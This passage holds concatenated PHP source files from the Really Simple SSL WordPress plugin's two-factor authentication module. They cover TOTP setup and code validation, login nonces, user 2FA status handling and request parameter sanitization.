					<img src="<?php echo esc_url( admin_url( 'images/spinner.gif' ) ); ?>" alt="" />
				</a>
			</p>

			<style>
				#two-factor-qr-code {
					/* The size of the image will change based on the length of the URL inside it. */
					min-width: 205px;
					min-height: 205px;
				}
			</style>

			<script>
				(function(){
					var qr_generator = function() {
						/*
						* 0 = Automatically select the version, to avoid going over the limit of URL
						*     length.
						* L = Least amount of error correction, because it's not needed when scanning
						*     on a monitor, and it lowers the image size.
						*/
						var qr = qrcode( 0, 'L' );

						qr.addData( <?php echo wp_json_encode( $totp_url ); ?> );
						qr.make();

						document.querySelector( '#two-factor-qr-code a' ).innerHTML = qr.createSvgTag( 5 );
					};

					// Run now if the document is loaded, otherwise on DOMContentLoaded.
					if ( document.readyState === 'complete' ) {
						qr_generator();
					} else {
						window.addEventListener( 'DOMContentLoaded', qr_generator );
					}
				})();
			</script>

			<p>
				<code><?php echo esc_html( $key ); ?></code>
			</p>
			<p>
				<input type="hidden" id="two-factor-totp-key" name="two-factor-totp-key" value="<?php echo esc_attr( $key ); ?>" />
				<label for="two-factor-totp-authcode">
					<?php esc_html_e( 'Authentication Code:', 'really-simple-ssl' ); ?>
					<?php
						/* translators: Example auth code. */
						$placeholder = sprintf( __( 'eg. %s', 'really-simple-ssl' ), '123456' );
					?>
					<input type="tel" name="two-factor-totp-authcode" id="two-factor-totp-authcode" class="input" value="" size="20" pattern="[0-9 ]*" placeholder="<?php echo esc_attr( $placeholder ); ?>" />
				</label>
				<input type="submit" class="button totp-submit" name="two-factor-totp-submit" value="<?php esc_attr_e( 'Submit', 'really-simple-ssl' ); ?>" />
			</p>

			<script>
				(function($){
					$('.totp-submit').click( function( e ) {
						e.preventDefault();
						var key = $('#two-factor-totp-key').val(),
							code = $('#two-factor-totp-authcode').val();

						wp.apiRequest( {
							method: 'POST',
							path: <?php echo wp_json_encode( Two_Factor_Core::REST_NAMESPACE . '/totp' ); ?>,
							data: {
								user_id: <?php echo wp_json_encode( $user->ID ); ?>,
								key: key,
								code: code,
							}
						} ).fail( function( response, status ) {
							var errorMessage = response.responseJSON.message || status,
								$error = $( '#totp-setup-error' );

							if ( ! $error.length ) {
								$error = $('<div class="error" id="totp-setup-error"><p></p></div>').insertAfter( $('.totp-submit') );
							}

							$error.find('p').text( errorMessage );

							$('#two-factor-totp-authcode').val('');
						} ).then( function( response ) {
							$( '#two-factor-totp-options' ).html( response.html );
						} );
					} );
				})(jQuery);
			</script>

		<?php else : ?>
			<p class="success">
				<?php esc_html_e( 'Secret key is configured and registered. It is not possible to view it again for security reasons.', 'really-simple-ssl' ); ?>
			</p>
			<p>
				<a class="button reset-totp-key" href="#"><?php esc_html_e( 'Reset Key', 'really-simple-ssl' ); ?></a>
				<em class="description">
					<?php esc_html_e( 'You will have to re-scan the QR code on all devices as the previous codes will stop working.', 'really-simple-ssl' ); ?>
				</em>
				<script>
					( function( $ ) {
						$( 'a.reset-totp-key' ).click( function( e ) {
							e.preventDefault();

							wp.apiRequest( {
								method: 'DELETE',
								path: <?php echo wp_json_encode( Two_Factor_Core::REST_NAMESPACE . '/totp' ); ?>,
								data: {
									user_id: <?php echo wp_json_encode( $user->ID ); ?>,
								}
							} ).then( function( response ) {
								$( '#two-factor-totp-options' ).html( response.html );
							} );
						} );
					} )( jQuery );
				</script>
			</p>
		<?php endif; ?>
		</div>
		<?php
	}

	/**
	 * Get the TOTP secret key for a user.
	 *
	 * @param int $user_id User ID.
	 *
	 * @return string
	 */
	public function get_user_totp_key( int $user_id ): string {
		return (string) get_user_meta( $user_id, self::SECRET_META_KEY, true );
	}

	/**
	 * Set the TOTP secret key for a user.
	 *
	 * @param int    $user_id User ID.
	 * @param string $key TOTP secret key.
	 *
	 * @return boolean If the key was stored successfully.
	 */
	public static function set_user_totp_key( int $user_id, string $key ): bool {
		return update_user_meta( $user_id, self::SECRET_META_KEY, $key );
	}

	/**
	 * Delete the TOTP secret key for a user.
	 *
	 * @param  int $user_id User ID.
	 *
	 * @return boolean If the key was deleted successfully.
	 */
	public function delete_user_totp_key( $user_id ): bool {
		delete_user_meta( $user_id, self::LAST_SUCCESSFUL_LOGIN_META_KEY );
		return delete_user_meta( $user_id, self::SECRET_META_KEY );
	}

	/**
	 * Check if the TOTP secret key has a proper format.
	 *
	 * @param string $key TOTP secret key.
	 *
	 * @return boolean
	 */
	public static function is_valid_key( string $key ): bool {
		$check = sprintf( '/^[%s]+$/', self::$base_32_chars );

		return 1 === preg_match( $check, $key );
	}

	/**
	 * Validates authentication.
	 *
	 * @param WP_User $user WP_User object of the logged-in user.
	 *
	 * @return bool Whether the user gave a valid code.
	 */
	public function validate_authentication( $user ): bool {
		// Run the backup codes first, because they are the fallback.
		$code_backup = Rsssl_Two_Factor_Backup_Codes::sanitize_code_from_request( 'authcode', 8 );
		if ( $code_backup && Rsssl_Two_Factor_Backup_Codes::validate_code( $user, $code_backup ) ) {
			return true;
		}

		$code = self::sanitize_code_from_request( 'authcode', self::DEFAULT_DIGIT_COUNT );
		if ( ! $code ) {
			return false;
		}

		return $this->validate_code_for_user( $user, $code );
	}


	/**
	 * Validates an authentication code for a given user, preventing re-use and older TOTP keys.
	 *
	 * @param WP_User $user WP_User object of the logged-in user.
	 * @param int     $code The TOTP token to validate.
	 *
	 * @return bool Whether the code is valid for the user and a newer code has not been used.
	 */
	public function validate_code_for_user( WP_User $user, int $code ) {
		$valid_timestamp = self::get_authcode_valid_ticktime(
			$this->get_user_totp_key( $user->ID ),
			$code
		);

		if ( ! $valid_timestamp ) {
			return false;
		}

		$last_totp_login = (int) get_user_meta( $user->ID, self::LAST_SUCCESSFUL_LOGIN_META_KEY, true );

		// The TOTP authentication is not valid, if we've seen the same or newer code.
		if ( $last_totp_login && $last_totp_login >= $valid_timestamp ) {
			return false;
		}

		update_user_meta( $user->ID, self::LAST_SUCCESSFUL_LOGIN_META_KEY, $valid_timestamp );
        delete_user_meta( $user->ID, '_rsssl_two_factor_failed_login_attempts');
        delete_user_meta( $user->ID, '_rsssl_two_factor_last_login_failure');

		return true;
	}


	/**
	 * Checks if a given code is valid for a given key, allowing for a certain amount of time drift.
	 *
	 * @param string $key      The share secret key to use.
	 * @param string $authcode The code to test.
	 *
	 * @return bool Whether the code is valid within the time frame.
	 */
	public static function is_valid_authcode( string $key, string $authcode ): bool {
		return (bool) self::get_authcode_valid_ticktime( $key, $authcode );
	}

	/**
	 * Checks if a given code is valid for a given key, allowing for a certain amount of time drift.
	 *
	 * @param string $key      The share secret key to use.
	 * @param string $authcode The code to test.
	 *
	 * @return false|int Returns the timestamp of the authcode on success, False otherwise.
	 */
	public static function get_authcode_valid_ticktime( string $key, string $authcode ) {
		/**
		 * Filter the maximum ticks to allow when checking valid codes.
		 *
		 * Ticks are the allowed offset from the correct time in 30 second increments,
		 * so the default of 4 allows codes that are two minutes to either side of server time
		 *
		 * @deprecated 0.7.0 Use {@see 'two_factor_totp_time_step_allowance'} instead.
		 * @param int $max_ticks Max ticks of time correction to allow. Default 4.
		 */
		$max_ticks = apply_filters_deprecated( 'two-factor-totp-time-step-allowance', array( self::DEFAULT_TIME_STEP_ALLOWANCE ), '0.7.0', 'two_factor_totp_time_step_allowance' );

		$max_ticks = apply_filters( 'two_factor_totp_time_step_allowance', self::DEFAULT_TIME_STEP_ALLOWANCE );

		// Array of all ticks to allow, sorted using absolute value to test closest match first.
		$ticks = range( - $max_ticks, $max_ticks );
		usort( $ticks, array( __CLASS__, 'abssort' ) );

		$time = floor( time() / self::DEFAULT_TIME_STEP_SEC );

		foreach ( $ticks as $offset ) {
			$log_time = $time + $offset;
			if ( hash_equals( self::calc_totp( $key, $log_time ), $authcode ) ) {
				// Return the tick timestamp.
				return $log_time * self::DEFAULT_TIME_STEP_SEC;
			}
		}

		return false;
	}

	/**
	 * Generates key
	 *
	 * @param int $bitsize Nume of bits to use for key.
	 *
	 * @return string $bitsize long string composed of available base32 chars.
	 */
	public static function generate_key( $bitsize = self::DEFAULT_KEY_BIT_SIZE ) {
		$bytes  = ceil( $bitsize / 8 );
		$secret = wp_generate_password( $bytes, true, true );

		return self::base32_encode( $secret );
	}

	/**
	 * Pack stuff
	 *
	 * @param string $value The value to be packed.
	 *
	 * @return string Binary packed string.
	 */
	public static function pack64( $value ) {
		// 64bit mode (PHP_INT_SIZE == 8).
		if ( PHP_INT_SIZE >= 8 ) {
			// If we're on PHP 5.6.3+ we can use the new 64bit pack functionality.
			if ( version_compare( PHP_VERSION, '5.6.3', '>=' ) && PHP_INT_SIZE >= 8 ) {
				return pack( 'J', $value ); // phpcs:ignore PHPCompatibility.ParameterValues.NewPackFormat.NewFormatFound
			}
			$highmap = 0xffffffff << 32;
			$higher  = ( $value & $highmap ) >> 32;
		} else {
			/*
			 * 32bit PHP can't shift 32 bits like that, so we have to assume 0 for the higher
			 * and not pack anything beyond it's limits.
			 */
			$higher = 0;
		}

		$lowmap = 0xffffffff;
		$lower  = $value & $lowmap;

		return pack( 'NN', $higher, $lower );
	}

	/**
	 * Calculate a valid code given the shared secret key
	 *
	 * @param string $key        The shared secret key to use for calculating code.
	 * @param mixed  $step_count The time step used to calculate the code, which is the floor of time() divided by step size.
	 * @param int    $digits     The number of digits in the returned code.
	 * @param string $hash       The hash used to calculate the code.
	 * @param int    $time_step  The size of the time step.
	 *
	 * @return string The totp code
	 */
	public static function calc_totp( $key, $step_count = false, $digits = self::DEFAULT_DIGIT_COUNT, $hash = self::DEFAULT_CRYPTO, $time_step = self::DEFAULT_TIME_STEP_SEC ) {
		$secret = self::base32_decode( $key );

		if ( false === $step_count ) {
			$step_count = floor( time() / $time_step );
		}

		$timestamp = self::pack64( $step_count );

		$hash = hash_hmac( $hash, $timestamp, $secret, true );

		$offset = ord( $hash[19] ) & 0xf;

		$code = (
				( ( ord( $hash[ $offset + 0 ] ) & 0x7f ) << 24 ) |
				( ( ord( $hash[ $offset + 1 ] ) & 0xff ) << 16 ) |
				( ( ord( $hash[ $offset + 2 ] ) & 0xff ) << 8 ) |
				( ord( $hash[ $offset + 3 ] ) & 0xff )
			) % pow( 10, $digits );

		return str_pad( $code, $digits, '0', STR_PAD_LEFT );
	}

	/**
	 * Whether this Two Factor provider is configured and available for the user specified.
	 *
	 * @param WP_User $user WP_User object of the logged-in user.
	 *
	 * @return boolean
	 */
	public function is_available_for_user( $user ) {
		// Only available if the secret key has been saved for the user.
		$key = $this->get_user_totp_key( $user->ID );

		return ! empty( $key );
	}

	/**
	 * Prints the form that prompts the user to authenticate.
	 *
	 * @param WP_User $user WP_User object of the logged-in user.
	 *
	 * @codeCoverageIgnore
	 */
	public function authentication_page( WP_User $user ) {
		require_once ABSPATH . '/wp-admin/includes/template.php';
		?>
		<p class="two-factor-prompt">
			<?php esc_html_e( 'Please enter the code generated by your authenticator app.', 'really-simple-ssl' ); ?>
		</p>
		<p>
			<label for="authcode"><?php esc_html_e( 'Authentication Code:', 'really-simple-ssl' ); ?></label>
			<input type="text" inputmode="numeric" autocomplete="one-time-code" name="authcode" id="authcode" class="input authcode" value="" size="20" pattern="[0-9 ]*" placeholder="123 456" data-digits="<?php echo esc_attr( self::DEFAULT_DIGIT_COUNT ); ?>" />
		</p>
		<script type="text/javascript">
			setTimeout( function(){
				var d;
				try{
					d = document.getElementById('authcode');
					d.focus();
				} catch(e){}
			}, 200);
		</script>
		<?php
		submit_button( __( 'Authenticate', 'really-simple-ssl' ) );
	}

	/**
	 * Returns a base32 encoded string.
	 *
	 * @param string $encoding_string String to be encoded using base32.
	 *
	 * @return string base32 encoded string without padding.
	 */
	public static function base32_encode( string $encoding_string ): string {
		if ( empty( $encoding_string ) ) {
			return '';
		}

		$binary_string = '';

		foreach ( str_split( $encoding_string ) as $character ) {
			$binary_string .= str_pad( base_convert( ord( $character ), 10, 2 ), 8, '0', STR_PAD_LEFT );
		}

		$five_bit_sections = str_split( $binary_string, 5 );
		$base32_string     = '';

		foreach ( $five_bit_sections as $five_bit_section ) {
			$base32_string .= self::$base_32_chars[ base_convert( str_pad( $five_bit_section, 5, '0' ), 2, 10 ) ];
		}

		return $base32_string;
	}

	/**
	 * Decode a base32 string and return a binary representation
	 *
	 * @param string $base32_string The base 32 string to decode.
	 *
	 * @return string Binary representation of decoded string
	 * @throws Exception If string contains non-base32 characters.
	 */
	public static function base32_decode( string $base32_string ): string {

		$base32_string = strtoupper( $base32_string );

		if ( ! preg_match( '/^[' . self::$base_32_chars . ']+$/', $base32_string, $match ) ) {
			throw new Exception( 'Invalid characters in the base32 string.' );
		}

		$l      = strlen( $base32_string );
		$n      = 0;
		$j      = 0;
		$binary = '';

		for ( $i = 0; $i < $l; $i++ ) {

			$n  = $n << 5; // Move buffer left by 5 to make room.
			$n  = $n + strpos( self::$base_32_chars, $base32_string[ $i ] );    // Add value into buffer.
			$j += 5; // Keep track of number of bits in buffer.

			if ( $j >= 8 ) {
				$j      -= 8;
				$binary .= chr( ( $n & ( 0xFF << $j ) ) >> $j );
			}
		}

		return $binary;
	}

	/**
	 * Used with usort to sort an array by distance from 0
	 *
	 * @param int $a First array element.
	 * @param int $b Second array element.
	 *
	 * @return int -1, 0, or 1 as needed by usort
	 */
	private static function abssort( $a, $b ): int {
		$a = abs( $a );
		$b = abs( $b );
		if ( $a === $b ) {
			return 0;
		}
		return ( $a < $b ) ? -1 : 1;
	}

	/**
	 * Determines if Two-Factor Authentication is forced for a given user.
	 *
	 * @param  WP_User $user  The user object to check.
	 *
	 * @return bool Returns true if Two-Factor Authentication is forced for the user, false otherwise.
	 * @since 1.0.0
	 */
	public static function is_forced( WP_User $user ): bool {
		if ( ! $user->exists() ) {
			return false;
		}
		return 'forced' === Rsssl_Two_Factor_Settings::get_role_status( 'totp', $user->ID );
	}

	/**
	 * Check if the user is optional for two-factor authentication.
	 *
	 * @param WP_User $user The user object.
	 *
	 * @return bool Returns true if the user is optional for two-factor authentication, otherwise false.
	 */
	public static function is_optional( WP_User $user ): bool {
		if ( ! $user->exists() ) {
			return false;
		}
		$user_roles = $user->roles;
		$fallback   = rsssl_get_option( 'two_fa_enabled_roles_email' );

		if ( empty( $fallback ) ) {
			return false;
		}
		if ( 'disabled' === Rsssl_Two_Factor_Settings::get_user_status( 'totp', $user->ID ) ) {
			return false;
		}

		return in_array( $user_roles[0], $fallback, true );
	}

	/**
	 * Get the selection option for a user.
	 *
	 * @param WP_User $user  The user for whom the selection option is retrieved.
	 * @param bool    $checked Whether the option is checked.
	 *
	 * @throws Exception If the template file is not found.
	 */
	public static function get_selection_option( WP_User $user, bool $checked = false ): void {
		// Get the preferred method meta, which could be a string or an array.
		$preferred_method_meta = get_user_meta( $user->ID, 'rsssl_two_fa_set_provider', true );
		// Normalize the preferred method to always be an array.
		$preferred_methods = is_array( $preferred_method_meta ) ? $preferred_method_meta : (array) $preferred_method_meta;
		// Check if 'Rsssl_Two_Factor_Email' is the preferred method.
		$is_preferred = in_array( 'Rsssl_Two_Factor_Totp', $preferred_methods, true );
		// if the META key is set than the current method is enabled based of the user META.
		$is_enabled = (bool) get_user_meta( $user->ID, self::SECRET_META_KEY, true );

		$badge_class       = $is_enabled ? 'badge-enabled' : 'badge-default';
		$enabled_text      = $is_enabled ? esc_html__(
			'Enabled',
			'really-simple-ssl'
		) : esc_html__( 'Disabled', 'really-simple-ssl' );
		$checked_attribute = $checked ? 'checked' : '';

		// Load the template.
		rsssl_load_template(
			'selectable-option.php',
			array(
				'badge_class'       => $badge_class,
				'enabled_text'      => $enabled_text,
				'checked_attribute' => $checked_attribute,
				'type'              => 'totp',
				'forcible'          => in_array( $user->roles[0], (array) rsssl_get_option( 'two_fa_forced_roles_totp' ), true ),
				'title'             => __( 'Authenticator app', 'really-simple-ssl' ),
				'description'       => __( 'Use an authenticator app on your mobile device to generate a code.', 'really-simple-ssl' ),
				'user'              => $user,
			),
			rsssl_path . 'assets/templates/two_fa/'
		);
	}

	/**
	 * Prints the QrCode generator.
	 *
	 * @return void
	 */
	public static function enqueue_qrcode_script(): void {
		$script_path = rsssl_url . 'assets/js/qrcode.min.js';
		wp_enqueue_script(
			'rsssl-qr-code-generator',
			$script_path,
			array(),
			rsssl_version,
			true
		);
	}

	/**
	 * Prints the onboarding form for selecting the preferred 2FA method.
	 *
	 * @param WP_User $user WP_User object of the logged-in user.
	 *
	 * @return void
	 * @throws Exception If the template file is not found.
	 */
	public static function display_onboarding_step_totp( WP_User $user ): void {
		// let us throw an error in for science’s sake.
		require_once ABSPATH . '/wp-admin/includes/template.php';
		self::enqueue_qrcode_script();
		$key          = self::generate_key();
		$totp_url     = self::generate_qr_code_url( $user, $key );
		$backup_codes = Rsssl_Two_Factor_Backup_Codes::generate_codes( $user );

        $totp_data = array(
            'totp_url'     => $totp_url,
            'key'          => $key,
            'backup_codes' => $backup_codes,
        );
        $translatables =  [
            'download_codes' => esc_html__('Download Backup Codes', 'really-simple-ssl'),
            'keyCopied' => __('Key copied', 'really-simple-ssl'),
            'keyCopiedFailed' => __('Could not copy text: ', 'really-simple-ssl')
        ];
        $totp_data_js = 'rsssl_onboard.totp_data = ' . json_encode($totp_data) . ';';
        $translatables_data_js = 'rsssl_onboard.translatables = ' . json_encode($translatables) . ';';

        $combined_js = $totp_data_js . ' ' . $translatables_data_js;


		wp_add_inline_script('rsssl-profile-settings', $combined_js, 'after');

		// Display the onboarding step content here.
		rsssl_load_template(
			'totp-config.php',
			array(
				'user'         => $user,
				'key'          => $key,
			),
			rsssl_path . 'assets/templates/two_fa/'
		);
	}

	/**
	 * Check if a user has two-factor provider authentication enabled.
	 *
	 * @param  WP_User $user  The WordPress user object to check.
	 *
	 * @return bool Returns true if two-factor authentication is enabled for the user, false otherwise.
	 */
	public static function is_enabled( WP_User $user ): bool {
        // if the pro is defined, return false and if the licence is not active.
        if(defined('rsssl_pro') && !rsssl_pro ) {
            return false;
        }
		if ( ! $user->exists()) {
			return false;
		}

		// Get all the user roles.
		$user_roles = $user->roles;
		// Then get the enabled roles.
		$enabled_roles = rsssl_get_option( 'two_fa_enabled_roles_totp' );
        if( is_multisite() ) {
            $user_roles = Rsssl_Two_Factor_Settings::get_strictest_role_across_sites($user->ID, ['totp']);
        }

        // if the user has the role that is enabled, return true.
        if ( ! is_array( $enabled_roles ) ) {
            $enabled_roles = array();
        }

        if(is_multisite()) {
            //compare the user roles with the enabled roles and if there is a match, return true
            return count(array_intersect($user_roles, $enabled_roles)) > 0;
        }
		// if the user has the role that is enabled, return true.
		return in_array( $user_roles[0], $enabled_roles, true );
	}

	/**
	 * Set user status for two-factor authentication.
	 *
	 * @param int    $user_id User ID.
	 * @param string $status The status to set.
	 *
	 * @return void
	 */
	public static function set_user_status( int $user_id, string $status ): void {
		update_user_meta( $user_id, 'rsssl_two_fa_status_totp', $status );
	}

    public static function is_configured( WP_User $user ): bool {
        $status = get_user_meta( $user->ID, 'rsssl_two_fa_status_totp', true );
        return 'active' === $status;
    }

    public static function get_status( WP_User $user ): string {
	    return Rsssl_Two_Factor_Settings::get_user_status( 'totp', $user->ID );
    }
}
really-simple-ssl/security/wordpress/two-fa/interface-rsssl-two-factor-provider-interface.php000064400000001672147510273070026720 0ustar00<?php
/**
 * Holds the request parameters for a specific action.
 *
 * @package REALLY_SIMPLE_SSL
 */

namespace RSSSL\Security\WordPress\Two_Fa;

use WP_User;

/**
 * Check if a user is forced.
 *
 * @param WP_User $user The user to check.
 *
 * @return bool True if the user is forced, false otherwise.
 */
interface Rsssl_Two_Factor_Provider_Interface {
	/**
	 * Check if a user is forced.
	 *
	 * @param  WP_User $user  The user to check.
	 *
	 * @return bool True if the user is forced, false otherwise.
	 */
	public static function is_forced( WP_User $user ): bool;

	/**
	 * Check if a method is enabled within the roles of the user.
	 *
	 * @param  WP_User $user  The user to check.
	 *
	 * @return bool True if the user is enabled, false otherwise.
	 */
	public static function is_enabled( WP_User $user ): bool;

    public static function is_optional( WP_User $user ): bool;

    public static function is_configured( WP_User $user ): bool;
}
really-simple-ssl/security/wordpress/two-fa/class-rsssl-two-fa-authentication.php000064400000006342147510273070024423 0ustar00<?php
/**
 * Two-Factor Authentication.
 *
 * @package REALLY_SIMPLE_SSL
 *
 * @since 0.1-dev
 */

namespace RSSSL\Security\WordPress\Two_Fa;

use Exception;

/**
 * Class Rsssl_Two_Fa_Authentication
 *
 * Represents the two-factor authentication functionality.
 */
class Rsssl_Two_Fa_Authentication {

	/**
	 * The user meta nonce key.
	 *
	 * @type string
	 */
	public const RSSSL_USER_META_NONCE_KEY = '_rsssl_two_factor_nonce';

	/**
	 * Verify a login nonce for a user.
	 *
	 * @param int    $user_id The ID of the user.
	 * @param string $nonce The login nonce to verify.
	 *
	 * @return bool True if the nonce is valid and has not expired, false otherwise.
	 */
	public static function verify_login_nonce( int $user_id, string $nonce ): bool {
		$login_nonce = get_user_meta( $user_id, self::RSSSL_USER_META_NONCE_KEY, true );

		if ( ! $login_nonce || empty( $login_nonce['rsssl_key'] ) || empty( $login_nonce['rsssl_expiration'] ) ) {
			return false;
		}

		$unverified_nonce = array(
			'rsssl_user_id'    => $user_id,
			'rsssl_expiration' => $login_nonce['rsssl_expiration'],
			'rsssl_key'        => $nonce,
		);

		$unverified_hash = self::hash_login_nonce( $unverified_nonce );
		$hashes_match    = $unverified_hash && hash_equals( $login_nonce['rsssl_key'], $unverified_hash );

		if ( $hashes_match && time() < $login_nonce['rsssl_expiration'] ) {
			return true;
		}

		// Require a fresh nonce if verification fails.
		self::delete_login_nonce( $user_id );

		return false;
	}

	/**
	 * Create a login nonce for a user.
	 *
	 * @param int $user_id The ID of the user.
	 *
	 * @return array|false The login nonce array if successfully created and stored, false otherwise.
	 */
	public static function create_login_nonce( int $user_id ) {
		$login_nonce = array(
			'rsssl_user_id'    => $user_id,
			'rsssl_expiration' => time() + ( 15 * MINUTE_IN_SECONDS ),
		);

		try {
			$login_nonce['rsssl_key'] = bin2hex( random_bytes( 32 ) );
		} catch ( Exception $ex ) {
			$login_nonce['rsssl_key'] = wp_hash( $user_id . wp_rand() . microtime(), 'nonce' );
		}

		// Store the nonce hashed to avoid leaking it via database access.
		$hashed_key = self::hash_login_nonce( $login_nonce );

		if ( $hashed_key ) {
			$login_nonce_stored = array(
				'rsssl_expiration' => $login_nonce['rsssl_expiration'],
				'rsssl_key'        => $hashed_key,
			);

			if ( update_user_meta( $user_id, self::RSSSL_USER_META_NONCE_KEY, $login_nonce_stored ) ) {
				return $login_nonce;
			}
		}

		return false;
	}

	/**
	 * Delete the login nonce.
	 *
	 * @param  int $user_id  User ID.
	 *
	 * @return bool
	 * @since 0.1-dev
	 */
	public static function delete_login_nonce( int $user_id ): bool {
		return delete_user_meta( $user_id, self::RSSSL_USER_META_NONCE_KEY );
	}

	/**
	 * Get the hash of a nonce for storage and comparison.
	 *
	 * @param  array $nonce  Nonce array to be hashed. ⚠️ This must contain user ID and expiration,
	 *                    to guarantee the nonce only works for the intended user during the
	 *                    intended time window.
	 *
	 * @return string|false
	 */
	protected static function hash_login_nonce( array $nonce ) {
		$message = wp_json_encode( $nonce );

		if ( ! $message ) {
			return false;
		}

		return wp_hash( $message, 'nonce' );
	}
}
really-simple-ssl/security/wordpress/two-fa/class-rsssl-two-fa-status.php000064400000007566147510273070022740 0ustar00<?php
/**
 * Two-Factor Authentication.
 * Status class.
 *
 * @package REALLY_SIMPLE_SSL
 */

namespace RSSSL\Security\WordPress\Two_Fa;

use RSSSL\Security\WordPress\Two_Fa\Traits\Rsssl_Two_Fa_Helper;
use WP_User;


/**
 * Class Rsssl_Two_Fa_Status
 *
 * Represents the two-factor authentication status.
 *
 * @package REALLY_SIMPLE_SSL
 */
class Rsssl_Two_Fa_Status {

	use Rsssl_Two_Fa_Helper;

	public const STATUSES = array( 'disabled', 'open', 'active' ); // This is a list of all available statuses.

	/**
	 * Get the status of two-factor authentication for a user.
	 *
	 * @param  WP_User|null $user  (optional) The user for which to retrieve the status. Defaults to current user.
	 *
	 * @return array  An associative array where the method names are the keys and the status values are the values.
	 *               The status can be one of the following: 'disabled' if the method is disabled for the user,
	 *               'enabled' if the method is enabled for the user, or 'unknown' if the status could not be determined.
	 */
	public static function get_user_two_fa_status( $user = null ): array {
		$methods  = Rsssl_Provider_Loader::METHODS; // Assume this function returns all available methods.
		$statuses = array();

		foreach ( $methods as $method ) {
			$status              = self::get_user_status( $method, $user->ID );
			$statuses[ $method ] = $status ? $status : 'disabled';
		}

		return $statuses;
	}

	/**
	 * Get the user's two-factor authentication status.
	 *
	 * @param  string $method  The authentication method used by the user.
	 * @param  int    $user_id  The ID of the user.
	 *
	 * @return string The user's two-factor authentication status (enabled or disabled).
	 */
	public static function get_user_status( string $method, int $user_id ): string {
		$activated = $method === 'email' ? '_email' : '_' . self::sanitize_method( $method );

		// Check the roles per method if they are enabled.
		$enabled_roles = rsssl_get_option( 'two_fa_enabled_roles'.$activated, array());

		if ( empty( $enabled_roles ) && self::is_user_role_enabled( $user_id, $enabled_roles )) {
			return 'disabled';
		}

		$status = get_user_meta( $user_id, "rsssl_two_fa_status_$method", true );

		return self::sanitize_status( $status );
	}

	/**
	 * Delete two-factor authentication metadata for a user.
	 *
	 * @param  WP_User $user  The user object for whom to delete the metadata.
	 *
	 * @return void
	 */

	public static function delete_two_fa_meta( $user ): void {
        if( is_object($user) ){
            $user = $user->ID;
        }
		delete_user_meta( $user, '_rsssl_two_factor_totp_last_successful_login' );
		delete_user_meta( $user, '_rsssl_two_factor_nonce' );
        delete_user_meta( $user, 'rsssl_two_fa_status' );
        delete_user_meta( $user, 'rsssl_two_fa_status_email' );
		delete_user_meta( $user, 'rsssl_two_fa_status_totp' );
		delete_user_meta( $user, '_rsssl_two_factor_totp_key' );
		delete_user_meta( $user, '_rsssl_two_factor_backup_codes' );
		delete_user_meta( $user, 'rsssl_activation_date' );
		delete_user_meta( $user, 'rsssl_two_fa_last_login' );
		delete_user_meta( $user, 'rsssl_two_fa_skip_token' );
		delete_user_meta( $user, '_rsssl_factor_email_token_timestamp' );
		delete_user_meta( $user, '_rsssl_factor_email_token' );
        delete_user_meta( $user, 'rsssl_two_fa_reminder_sent' );
	}

	/**
	 * Checks if a user has any of the enabled roles.
	 *
	 * @param int $user_id The user ID.
	 * @param array $enabled_roles The enabled roles to check against.
	 *
	 * @return bool Returns true if the user has any of the enabled roles, false otherwise.
	 */
	private static function is_user_role_enabled( int $user_id, array $enabled_roles ):bool {
		$user = get_userdata( $user_id );

		if ( ! $user ) {
			return false;
		}

		$user_roles = $user->roles;

		foreach ( $user_roles as $role ) {
			if ( in_array( $role, $enabled_roles, true ) ) {
				return true;
			}
		}

		return false;
	}
}
really-simple-ssl/security/wordpress/two-fa/class-rsssl-two-fa-data-parameters.php000064400000005622147510273070024456 0ustar00<?php
/**
 * Two-Factor Authentication Data Parameters helper.
 *
 * @package REALLY_SIMPLE_SSL
 * @since 0.1-dev
 */

namespace RSSSL\Security\WordPress\Two_Fa;

/**
 * Class Rsssl_Two_FA_Data_Parameters
 *
 * Represents the data parameters for the Two FA data.
 *
 * @package REALLY_SIMPLE_SSL
 */
class Rsssl_Two_FA_Data_Parameters {

	/**
	 * The current page name.
	 *
	 * @var string $page The current page name.
	 */
	public $page;
	/**
	 * The number of items to display per page.
	 *
	 * @var int $page_size The number of items to display per page.
	 */
	public $page_size;
	/**
	 * The search term entered by the user.
	 *
	 * @var string $search_term The search term entered by the user
	 */
	public $search_term;
	/**
	 * The value used for filtering.
	 *
	 * @var string|null $filter_value This variable stores the value used for filtering.
	 */
	public $filter_value;
	/**
	 * The column used for filtering.
	 *
	 * @var string|null $filter_column This variable stores the column used for filtering.
	 */
	public $filter_column;
	/**
	 * The column used for sorting.
	 *
	 * @var string|null $sort_column This variable stores the column used for sorting.
	 */
	public $sort_column;
	/**
	 * The direction of the sorting, can be 'asc' or 'desc'.
	 *
	 * @var string $sort_direction The direction of the sorting, can be 'asc' or 'desc'
	 */
	public $sort_direction;
	/**
	 * The HTTP method used for the current request, can be 'GET', 'POST', 'PUT', 'DELETE', etc.
	 *
	 * @var string $method The HTTP method used for the current request, can be 'GET', 'POST', 'PUT', 'DELETE', etc.
	 */
	public $method;

	/**
	 * The allowed filters.
	 *
	 * @var array $allowed_filters The allowed filters.
	 */
	private const allowed_filters = array( 'all', 'open', 'disabled', 'active', 'expired' );

	/**
	 * Constructs a new object with given data.
	 *
	 * @param array $data The data array.
	 */
	public function __construct( array $data ) {
		$this->page           = isset( $data['currentPage'] ) ? (int) $data['currentPage'] : 1;
		$this->page_size      = isset( $data['currentRowsPerPage'] ) ? (int) $data['currentRowsPerPage'] : 5;
		$this->search_term    = isset( $data['search'] ) ? sanitize_text_field( $data['search'] ) : '';
		$this->filter_value   = in_array( $data['filterValue'] ?? 'all', self::allowed_filters, true ) ? sanitize_text_field( $data['filterValue'] ?? 'all') : 'all';
		$this->sort_direction = in_array( strtoupper( $data['sortDirection'] ?? 'DESC' ), array( 'ASC', 'DESC' ), true ) ? strtoupper( sanitize_text_field( $data['sortDirection'] ?? 'DESC')) : 'DESC';
		$this->filter_column  = isset( $data['filterColumn'] ) ? sanitize_text_field( $data['filterColumn'] ) : 'rsssl_two_fa_status';
		$this->sort_column    = isset( $data['sortColumn'] ) ? sanitize_text_field( $data['sortColumn'] ) : 'user';
		$this->method         = isset( $data['method'] ) ? Rsssl_Two_Factor_Settings::sanitize_method( $data['method'] ) : 'email';
	}
}
really-simple-ssl/security/wordpress/two-fa/class-rsssl-two-factor-backup-codes.php000064400000030345147510273070024634 0ustar00<?php
/**
 * Class for creating a backup codes provider.
 *
 * @package Two_Factor
 */

namespace RSSSL\Security\WordPress\Two_Fa;

use WP_User;

/**
 * Class for creating a backup codes provider.
 *
 * @since 0.1-dev
 *
 * @package Two_Factor
